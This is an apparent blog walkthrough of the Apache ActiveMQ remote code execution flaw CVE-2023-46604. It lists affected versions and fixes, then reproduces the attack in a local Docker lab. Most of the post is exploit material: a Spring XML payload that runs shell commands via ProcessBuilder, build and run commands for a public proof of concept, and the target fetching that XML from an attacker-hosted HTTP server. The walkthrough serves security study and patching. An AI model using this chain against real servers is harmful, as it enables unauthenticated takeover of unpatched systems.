CVE-2023-46604: ActiveMQ Critical RCE

Posted on Nov 26, 2023

CVE-2023-46604 is a critical vulnerability (CVSS 9.8) in Apache ActiveMQ that gives remote, unauthenticated attackers code execution on the machine, with the same privileges as the MQ server.

In this post, we’ll spin up a vulnerable Docker image from Symptoma and use X1r0’z PoC for the exploitation.

The post is based on X1r0z’s README.md, Apache MQ’s updates, and Rapid7’s technical analysis of the vulnerability.

Summary

ActiveMQ is a message broker, developed in Java, which passes messages between different services. By default, it listens on port 61616 and accepts several protocols, including OpenWire which is the vector for this attack.

There’s an error in the exception handling process whereby a remote attacker can supply a string which is used to instantiate an arbitrary class. The attacker can use a Spring config package to induce the server to download a malicious .xml config file from the attacker’s server, which runs the commands within the file.

Detection & Remediation

The impacted versions are:

- Apache ActiveMQ 5.18.0 before 5.18.3
- Apache ActiveMQ 5.17.0 before 5.17.6
- Apache ActiveMQ 5.16.0 before 5.16.7
- Apache ActiveMQ before 5.15.16
- Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
- Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
- Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
- Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

To remediate, upgrade to:

5.15.16, 5.16.7, 5.17.6, or 5.18.3

Source. Check current related advisories for up to date info.

Exploitation

Setup

First, we will set up the vulnerable server. You’ll need Docker Desktop, GOlang and git installed. I am running on Ubuntu 23.04 x86_64 with 6.2.0-36-generic.

  1. Grab a vulnerable ActiveMQ docker image:
docker pull symptoma/activemq:5.15.10
  1. Run it:
docker run -it -p 61616:61616 -p 8161:8161 --network host symptoma/activemq:5.15.10

We’re exposing the required ports and sharing the host’s network to allow the container to call our local server with the malicious XML.

  1. Clone the PoC
git clone https://github.com/X1r0z/ActiveMQ-RCE && cd ActiveMQ-RCE/

Let’s take a look at the poc.xml file:

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>open</value>
                <value>-a</value>
                <value>calculator</value>
                <!-- <value>bash</value>
                <value>-c</value>
                <value>touch /tmp/success</value> -->
            </list>
            </constructor-arg>
        </bean>
    </beans>

We see that in the <value> tags, we’re popping a calc by running the command open -a calculator. This won’t do for our dockerized version, so let’s delete those lines and uncomment the three lines that make up bash -c touch /tmp/success.

This will create a file on the server in /tmp called success to prove RCE.

Our docker container doesn’t have bash installed, so let’s change bash to sh. Your file should look like this:

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>sh</value>
                <value>-c</value>
                <value>touch /tmp/success</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>
  1. Edit the XML as described above.

  2. Build the exploit:

go build

You should now find the executable ActiveMQ-RCE in the same folder:

$ ls
ActiveMQ-RCE  main.go  README-en.md
go.mod        poc.xml  README.md
  1. Set up the malicious server. In a new terminal, from the same folder, run:
python3 -m http.server 8000
  1. Run the exploit with ./ActiveMQ-RCE -i 127.0.0.1 -u http://<YOUR_SERVER_IP>:8000/poc.xml

You should see output like the following:

$ ./ActiveMQ-RCE -i 127.0.0.1 -u http://192.168.10.101:8000/poc.xml
     _        _   _           __  __  ___        ____   ____ _____
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: 127.0.0.1:61616
[*] XML URL: http://192.168.10.101:8000/poc.xml

[*] Sending packet: 000000751f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010022687474703a2f2f3139322e3136382e31302e3130313a383030302f706f632e786d6c

The -i flag points the exploit to your dockerized ActiveMQ listening on 127.0.0.1 (at the default port, so we don’t need to specify it) and the -u flag points the vulnerable server to your malicious HTTP server hosting the POC.

The ‘packet’ listed in the above output is just a hexified OpenWire object. You can see how they’re constructed on the OpenWire specification page.

Let’s take a peek at what this packet is doing. You can decode it with xxd:

$ echo 000000751f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010022687474703a2f2f3139322e3136382e31302e3130313a383030302f706f632e786d6c | xxd -r -p
uBorg.springframework.context.support.ClassPathXmlApplicationContext"http://192.168.10.101:8000/poc.xml% 

or inspect the OpenWire stream in WireShark:

We see that it’s calling Spring’s ClassPathXmlApplicationContext. This class allows configuration via an XML file. Right next to it, we see a string containing our malicious server address and XML file.

Once run, you should see a GET request on your server. Let’s check to see if the exploit ran correctly!

  1. Get the docker container name:
$ docker container ls
CONTAINER ID   IMAGE                       COMMAND                  CREATED             STATUS             PORTS     NAMES
327937e9ea8a   symptoma/activemq:5.15.10   "/bin/sh -c 'bin/act…"   About an hour ago   Up About an hour             bold_satoshi
  1. Use the CONTAINER ID value to get an interactive shell on the container:
$ docker exec -it 327937e9ea8a sh
/opt/apache-activemq-5.15.10 $
  1. Check for the success file:
$ ls -a /tmp | grep success
success

We see our file was created and the exploit ran successfully.

Thanks for reading. For feedback, corrections or omissions, get in touch!

References